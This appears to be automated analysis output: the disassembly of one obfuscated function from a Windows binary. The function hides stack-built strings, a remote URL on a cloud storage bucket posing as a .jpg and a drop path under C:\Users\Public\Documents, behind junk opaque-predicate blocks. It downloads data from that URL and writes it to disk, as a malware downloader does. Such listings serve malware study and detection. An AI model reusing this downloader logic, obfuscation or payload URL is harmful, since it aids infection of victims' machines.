Function at 0x1416ed740
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x168
xor eax, eax
test eax, eax
je 0x1416ed95e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rbx], al
or al, 0x54
add byte [rax], al
pushfq
or ecx, dword [0x14a77fdc5]
cmc
invalid
xor eax, eax
test eax, eax
je 0x1416edb75
nop
nop
nop
nop
nop
nop
nop
nop
add al, byte [rbp]
add byte [rax], al
add dword [rdi + rax*2], eax
add byte [rax], al
nop
add al, byte [rcx]
add byte [r8], r8b
add byte [rcx], al
invalid
xor eax, eax
test eax, eax
je 0x1416edd8c
nop
dec byte [rdi]
invalid
xor eax, eax
test eax, eax
je 0x1416edfa3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
adc byte [rcx], al
add eax, 0x42
add dword [0x1216eddef], eax
add dword [rdx + rax*2], eax
dec dword [rdi]
ud0
lea rcx, [rsp + 0xd0]
call fcn.1416f2cd0
xor eax, eax
test eax, eax
je 0x1416ee1c7
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x141afe4db
xor eax, eax
test eax, eax
je 0x1416ee3de
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
call fcn.1416ece20
xor eax, eax
test eax, eax
je 0x1416ee5fa
nop
nop
nop
add byte [rax], al
add byte gs:[rax], al
outsb dx, byte [rsi]
add byte [rax], al
invalid
xor eax, eax
test eax, eax
je 0x1416ee811
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jb 0x1416ee618
add eax, 0x40661
add byte [rax], al
invalid
add ch, al
add byte [rsp + rdx*2], al
invalid
xor eax, eax
test eax, eax
je 0x1416eea28
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
in al, 4
rcpps xmm0, xmmword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], bh
add cl, byte [rax + rdi*4]
or ecx, dword [rdi]
xchg ecx, eax
or eax, 0x901ac0e
or byte [rsi], al
add al, 0xf4
or al, 0xcc
invalid
mov byte [rsp + 0x60], 0x68
mov byte [rsp + 0x61], 0x74
mov byte [rsp + 0x62], 0x74
mov byte [rsp + 0x63], 0x70
mov byte [rsp + 0x64], 0x73
mov byte [rsp + 0x65], 0x3a
mov byte [rsp + 0x66], 0x2f
mov byte [rsp + 0x67], 0x2f
mov byte [rsp + 0x68], 0x77
mov byte [rsp + 0x69], 0x77
mov byte [rsp + 0x6a], 0x77
mov byte [rsp + 0x6b], 0x77
mov byte [rsp + 0x6c], 0x61
mov byte [rsp + 0x6d], 0x73
mov byte [rsp + 0x6e], 0x64
mov byte [rsp + 0x6f], 0x61
mov byte [rsp + 0x70], 0x73
mov byte [rsp + 0x71], 0x64
mov byte [rsp + 0x72], 0x71
mov byte [rsp + 0x73], 0x77
mov byte [rsp + 0x74], 0x65
mov byte [rsp + 0x75], 0x71
mov byte [rsp + 0x76], 0x77
mov byte [rsp + 0x77], 0x65
mov byte [rsp + 0x78], 0x39
mov byte [rsp + 0x79], 0x33
mov byte [rsp + 0x7a], 0x2d
mov byte [rsp + 0x7b], 0x31
mov byte [rsp + 0x7c], 0x33
mov byte [rsp + 0x7d], 0x32
mov byte [rsp + 0x7e], 0x35
mov byte [rsp + 0x7f], 0x37
mov byte [rsp + 0x80], 0x38
mov byte [rsp + 0x81], 0x35
mov byte [rsp + 0x82], 0x37
mov byte [rsp + 0x83], 0x33
mov byte [rsp + 0x84], 0x30
mov byte [rsp + 0x85], 0x2e
mov byte [rsp + 0x86], 0x63
mov byte [rsp + 0x87], 0x6f
mov byte [rsp + 0x88], 0x73
mov byte [rsp + 0x89], 0x2e
mov byte [rsp + 0x8a], 0x61
mov byte [rsp + 0x8b], 0x70
mov byte [rsp + 0x8c], 0x2d
mov byte [rsp + 0x8d], 0x68
mov byte [rsp + 0x8e], 0x6f
mov byte [rsp + 0x8f], 0x6e
mov byte [rsp + 0x90], 0x67
mov byte [rsp + 0x91], 0x6b
mov byte [rsp + 0x92], 0x6f
mov byte [rsp + 0x93], 0x6e
mov byte [rsp + 0x94], 0x67
mov byte [rsp + 0x95], 0x2e
mov byte [rsp + 0x96], 0x6d
mov byte [rsp + 0x97], 0x79
mov byte [rsp + 0x98], 0x71
mov byte [rsp + 0x99], 0x63
mov byte [rsp + 0x9a], 0x6c
mov byte [rsp + 0x9b], 0x6f
mov byte [rsp + 0x9c], 0x75
mov byte [rsp + 0x9d], 0x64
mov byte [rsp + 0x9e], 0x2e
mov byte [rsp + 0x9f], 0x63
mov byte [rsp + 0xa0], 0x6f
mov byte [rsp + 0xa1], 0x6d
mov byte [rsp + 0xa2], 0x2f
mov byte [rsp + 0xa3], 0x39
mov byte [rsp + 0xa4], 0x33
mov byte [rsp + 0xa5], 0x2e
mov byte [rsp + 0xa6], 0x6a
mov byte [rsp + 0xa7], 0x70
mov byte [rsp + 0xa8], 0x67
mov byte [rsp + 0xa9], 0
xor eax, eax
test eax, eax
je 0x1416eee2f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor byte [rcx + rax], al
add al, 0
xor eax, dword [rax + rax]
add al, 1
push rsp
add al, 0xc
adc byte [rcx], al
invalid
xor eax, eax
test eax, eax
je 0x1416ef046
nop
nop
nop
nop
nop
nop
nop
invalid
mov dword [rsp + 0xb0], 0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.1416e72d0
mov qword [rsp + 0xc0], rax
mov byte [rsp + 0x40], 0x43
mov byte [rsp + 0x41], 0x3a
mov byte [rsp + 0x42], 0x5c
mov byte [rsp + 0x43], 0x55
mov byte [rsp + 0x44], 0x73
mov byte [rsp + 0x45], 0x65
mov byte [rsp + 0x46], 0x72
jb 0x1416ef055
and al, 0x47
jae 0x1416ef05a
and al, 0x48
pop rsp
mov byte [rsp + 0x49], 0x50
mov byte [rsp + 0x4a], 0x75
mov byte [rsp + 0x4b], 0x62
mov byte [rsp + 0x4c], 0x6c
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x63
mov byte [rsp + 0x4f], 0x5c
mov byte [rsp + 0x50], 0x44
mov byte [rsp + 0x51], 0x6f
mov byte [rsp + 0x52], 0x63
mov byte [rsp + 0x53], 0x75
mov byte [rsp + 0x54], 0x6d
mov byte [rsp + 0x55], 0x65
mov byte [rsp + 0x56], 0x6e
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x73
mov byte [rsp + 0x59], 0x5c
mov byte [rsp + 0x5a], 0x31
mov byte [rsp + 0x5b], 0x2e
mov byte [rsp + 0x5c], 0x74
mov byte [rsp + 0x5d], 0x78
mov byte [rsp + 0x5e], 0x74
mov byte [rsp + 0x5f], 0
xor eax, eax
test eax, eax
je 0x1416ef322
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add dword [rax], eax
add al, byte [rax]
add byte [rax], al
push rsp
add byte [0x1626ef12f], al
add byte [rcx], ah
or dword [rsi], esp
add al, 0xd
mov byte [rsp + rax], 0xa5
add cl, byte [0x10c73fc05]
invalid
xor eax, eax
test eax, eax
je 0x1416ef539
nop
nop
nop
nop
add byte [rcx], ah
add byte [rbx], dh
add byte [rax], al
xor byte [rax], al
add byte [rcx], bh
add byte [rax], al
xor eax, 0xe00000
add dword [rbp], eax
add byte [rax + 0x420909], dh
add byte [rax + 6], al
or al, 0x45
invalid
cmp qword [rsp + 0xc0], 0
je 0x1416f0041
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x40]
call qword [rsp + 0x140]
mov qword [rsp + 0xb8], rax
add byte [rax], al
cmp qword [rsp + 0xb8], 0xffffffffffffffff
je 0x1416f0041
xor eax, eax
test eax, eax
je 0x1416ef7a6
nop
nop
nop
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x1416ef9bd
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add rax, 0x25003
invalid
xor eax, eax
test eax, eax
je 0x1416efbd4
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
mov byte [rdi], al
or dword [rax], eax
add byte [rax], al
invalid
xor eax, eax
test eax, eax
je 0x1416efdeb
nop
nop
or byte [rdx + rcx + 6], bl
ror dword [rcx], 1
or ebx, dword [rbx + 5]
add al, 0x3a
add al, byte [rsi + rsi]
add cl, byte [rsi]
or edi, ecx
invalid
xor eax, eax
test eax, eax
je 0x1416f0002
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
or al, 5
or al, 0x48
add esi, dword [rbx]
or byte [rbx], al
add eax, dword fs:[rdx]
stc
or dword [rcx], eax
sub eax, 0x3b60b05
or al, 0
add byte [rdx], ah
add byte [rbx], dh
add byte [rax], dh
add byte [rax], al
add byte [rax], al
xor al, 0
add byte [rax], al
add byte [rax], al
test al, 0
add eax, dword [rax]
add byte [rax], al
ror dword [rdx], 3
fimul dword [rdx]
add eax, dword [rax]
add byte [rax + 0x45060a], al
add al, al
or cl, byte [rax]
add byte [r8], r8b
and byte [rdx], cl
add byte [rax], al
or byte [rax], al
add byte [rax], al
insd dword [rdi], dx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rsp + rcx*8], cl
invalid
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xc8]
mov r8d, dword [rsp + 0xb0]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xb8]
call qword [rsp + 0x148]
mov rcx, qword [rsp + 0xb8]
call qword [rsp + 0x150]
xor eax, eax
test eax, eax
je 0x1416f0258
nop
nop
nop
nop
nop
ud0
lea rcx, [rsp + 0x40]
call fcn.1416ea820
xor eax, eax
test eax, eax
je 0x1416f0479
nop
nop
nop
nop
add ah, byte [rsi + 3]
add byte [rax], bh
add eax, dword [0x1797205ad]
add eax, dword [rsp + rsi]
add eax, dword [rdi]
add byte [rax], al
push rax
add byte [rax], al
pop rdi
add byte [rax], al
add byte [r8], r8b
add byte [rax], r8b
add byte [r10], r9b
push rbx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, byte [rbp + 0x3d60203]
add dh, cl
add eax, dword [rdx]
sti
add eax, dword [rdx]
adc dword [rbx], eax
add eax, dword [rax]
add byte [rdx], dh
add byte [rax], al
invalid
xor eax, eax
test eax, eax
je 0x1416f0690
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
or al, 0
add byte [rax], al
add byte [rax], al
sbb al, 0xe
or dword [rbx], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax + 6], al
or al, 0x45
add byte [rax], al
ror byte [rdi], 1
or al, 0x44
add byte [rax], al
adc byte [rbx], al
invalid
xor eax, eax
test eax, eax
je 0x1416f08a7
nop
nop
nop
nop
nop
nop
or esi, esi
invalid
add rsp, 0x168
ret